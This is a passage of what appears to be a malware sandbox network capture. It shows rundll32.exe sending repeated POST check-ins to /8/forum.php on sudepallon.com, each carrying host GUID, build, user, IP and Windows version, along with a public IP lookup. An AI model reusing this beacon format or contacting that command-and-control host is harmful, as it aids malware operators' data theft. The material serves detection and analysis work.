36	192.168.2.22	49201	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:56.230076075 CEST	334	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:56.297401905 CEST	335	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 4a 51 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGJQTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.22	49202	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:56.941934109 CEST	335	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:57.010560036 CEST	336	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4e 4d 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZNMAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.22	49203	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:57.317807913 CEST	336	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:57.386893034 CEST	337	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 4e 4d 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNNMMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.22	49204	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:57.668711901 CEST	338	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:57.736526012 CEST	338	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 48 53 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJHSQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49169	23.21.211.162	80	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:44.079777956 CEST	292	OUT	GET /?format=xml HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: api.ipify.org Connection: Keep-Alive
Jul 9, 2021 03:07:44.189335108 CEST	293	IN	HTTP/1.1 200 OK Server: Cowboy Connection: keep-alive Content-Type: text/plain Vary: Origin Date: Fri, 09 Jul 2021 01:07:44 GMT Content-Length: 14 Via: 1.1 vegur Data Raw: 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 Data Ascii: 185.189.150.70

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.22	49205	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:58.036202908 CEST	339	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:58.106026888 CEST	339	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 54 47 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMTGNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.22	49206	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:58.377813101 CEST	340	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:58.447382927 CEST	340	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 5a 41 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGZATARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.22	49207	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:58.729573965 CEST	341	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:58.796766996 CEST	341	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 43 58 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKCXPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.22	49208	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:59.130501032 CEST	342	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:59.196698904 CEST	342	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 5a 41 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVZAEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.22	49209	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:59.478945971 CEST	343	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:59.546334028 CEST	344	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 5a 41 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQZAJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.22	49210	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:00.377326012 CEST	344	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:00.443205118 CEST	345	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 59 42 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMYBNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.22	49211	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:00.726202011 CEST	345	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:00.791616917 CEST	346	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 48 53 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJHSQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.22	49212	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:01.068500996 CEST	347	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:01.134706974 CEST	347	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 54 47 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJTGQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.22	49213	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:01.409549952 CEST	348	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:01.477013111 CEST	348	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 4d 4e 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTMNGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.22	49214	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:01.751272917 CEST	349	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:01.817840099 CEST	349	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 5a 41 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCZAXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49170	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:44.109110117 CEST	293	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:44.176737070 CEST	293	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 4b 50 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCKPXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.22	49215	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:02.096319914 CEST	350	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:02.164352894 CEST	350	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 4b 50 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCKPXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.22	49216	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:02.443327904 CEST	351	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:02.509047031 CEST	351	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 54 47 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJTGQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.22	49217	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:02.795839071 CEST	352	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:02.861690044 CEST	352	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 4d 4e 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQMNJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.22	49218	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
